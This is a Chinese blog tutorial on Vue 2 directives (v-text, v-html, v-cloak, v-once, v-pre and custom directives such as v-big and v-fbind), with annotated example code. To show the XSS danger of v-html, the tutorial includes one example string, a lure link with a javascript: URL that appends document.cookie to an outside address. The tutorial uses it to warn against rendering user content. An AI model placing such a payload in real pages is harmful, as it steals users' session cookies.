VUE学习(九)、内置指令、自定义指令

VUE学习(九)、内置指令、自定义指令

1、v-text指令

<body>
	<!-- 
		我们学过的指令:
			v-bind	: 单向绑定解析表达式, 可简写为 :xxx
			v-model	: 双向数据绑定
			v-for  	: 遍历数组/对象/字符串
			v-on   	: 绑定事件监听, 可简写为@
			v-if 	 	: 条件渲染(动态控制节点是否存存在)
			v-else 	: 条件渲染(动态控制节点是否存存在)
			v-show 	: 条件渲染 (动态控制节点是否展示)
		v-text指令:
			1.作用:向其所在的节点中渲染文本内容。
			2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
	-->
	<!-- 准备好一个容器-->
	<div id="root">
        <!-- 推荐使用插值语法 -->
		<div>你好,{{name}}</div>
		<div v-text="name"></div>
        <!-- 不会解析标签 -->
		<div v-text="str"></div>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	
	new Vue({
		el:'#root',
		data:{
			name:'学习vue',
			str:'<h3>你好啊!</h3>'
		}
	})
</script>

2、v-html指令

<body>
	<!-- 
		v-html指令:
			1.作用:向指定节点中渲染包含html结构的内容。
			2.与插值语法的区别:
				(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
				(2).v-html可以识别html结构。
			3.严重注意:
			v-html有安全性问题!!!!
				(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
				(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
	-->
	<!-- 准备好一个容器-->
	<div id="root">
		<div>你好,{{name}}</div>
		<div v-html="str"></div>
		<div v-html="str2"></div>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: "#root",
		data: {
			name: "醉瑾",
			str: "<h3>你好啊!</h3>",
			str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>'
		}
	});
</script>

3、v-cloak指令

<style>
	[v-cloak]{
		display:none;
	}
</style>
<body>
	<!-- 
		v-cloak指令(没有值):
			1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
			2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
	-->
	<!-- 准备好一个容器-->
	<div id="root">
		<!-- 
			添加一个v-cloak属性,在vue.js文件未加载完成时利用css实现隐藏,
			当vue接管容器后立即删除v-cloak属性,并渲染页面。
			---用户网速慢时可能会出现vue.js文件加载缓慢,此时为了防止出现
			页面显示{{xxxx}}等情况可以用此属性配合css实现vue加载之前先隐藏
			-->
		<h2 v-cloak>{{name}}</h2>
	</div>
	<script type="text/javascript" src="../js/vue.js"></script>
</body>

<script type="text/javascript">
	console.log(1)
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	
	new Vue({
		el:'#root',
		data:{
			name:'醉瑾'
		}
	})
</script>

4、v-once指令(不是once)

<body>
	<!-- 
		v-once指令:
			1.v-once所在节点在初次动态渲染后,就视为静态内容了。
			2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
	-->
	<!-- 准备好一个容器-->
	<div id="root">
		<h2 v-once>初始化的n值是:{{n}}</h2>
		<h2>当前的n值是:{{n}}</h2>
		<button @click="n++">点我n+1</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	
	new Vue({
		el:'#root',
		data:{
			n:1
		}
	})
</script>

5、v-pre指令

<body>
	<!-- 
		v-pre指令:
			1.跳过其所在节点的编译过程。
			2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
	-->
	<!-- 准备好一个容器-->
	<div id="root">
		<h2 v-pre>Vue其实很简单</h2>
		<h2 >当前的n值是:{{n}}</h2>
		<button @click="n++">点我n+1</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el:'#root',
		data:{
			n:1
		}
	})
</script>

6、自定义指令

<body>
	<!-- 
		需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
		需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
		自定义指令总结:
			一、定义语法:
				(1).局部指令:
					new Vue({
						directives:{指令名:配置对象}
					})
					或									
					new Vue({
						directives{指令名:回调函数}
					})
				(2).全局指令:
					Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)

			二、配置对象中常用的3个回调:
				(1).bind:指令与元素成功绑定时调用。
				(2).inserted:指令所在元素被插入页面时调用。
				(3).update:指令所在模板结构被重新解析时调用。

			三、备注:
				1.指令定义时不加v-,但使用时要加v-;
				2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
	-->
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>{{name}}</h2>
		<h2>当前的n值是:<span v-text="n"></span> </h2>
		<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
		<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
		<button @click="n++">点我n+1</button>
		<hr/>
		<input type="text" v-fbind:value="n">
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false

	//定义全局指令
	/* Vue.directive('fbind',{
		//指令与元素成功绑定时(一上来)
		bind(element,binding){
			element.value = binding.value
		},
		//指令所在元素被插入页面时
		inserted(element,binding){
			element.focus()
		},
		//指令所在的模板被重新解析时
		update(element,binding){
			element.value = binding.value
		}
	}) */

	new Vue({
		el:'#root',
		data:{
			name:'醉瑾',
			n:1
		},
		// 自定义指令
		directives:{
			//big函数何时会被调用?
			//1.指令与元素成功绑定时(一上来)。
			//2.指令所在的模板被重新解析时。
			/* 
				多个单词指令情况
				'big-number'(element,binding){
					// console.log('big')
					element.innerText = binding.value * 10
				}, 
			*/
			// 所有指令相关的回调里面的this都是window对象,而不是vm实例
			// 函数式
			big(element,binding){
				// element 绑定元素
				// binding 绑定表达式
				console.log(element,binding);
				console.log('big',this) //注意此处的this是window
				// console.log('big')
				element.innerText = binding.value * 10
			},
			// 对象式(如果用函数式就不能实现某些特性,如获取焦点)
			fbind:{
				//指令与元素成功绑定时(一上来)
				bind(element,binding){
					element.value = binding.value
				},
				//指令所在元素被插入页面时(特殊需求如获取焦点、改变父元素,兄弟元素等等)
				inserted(element,binding){
					element.focus()
				},
				//指令所在的模板被重新解析时
				update(element,binding){
					element.value = binding.value
				}
			}
		}
	})
	
</script>
上一篇:IO流小结


下一篇:Netty网络编程第七卷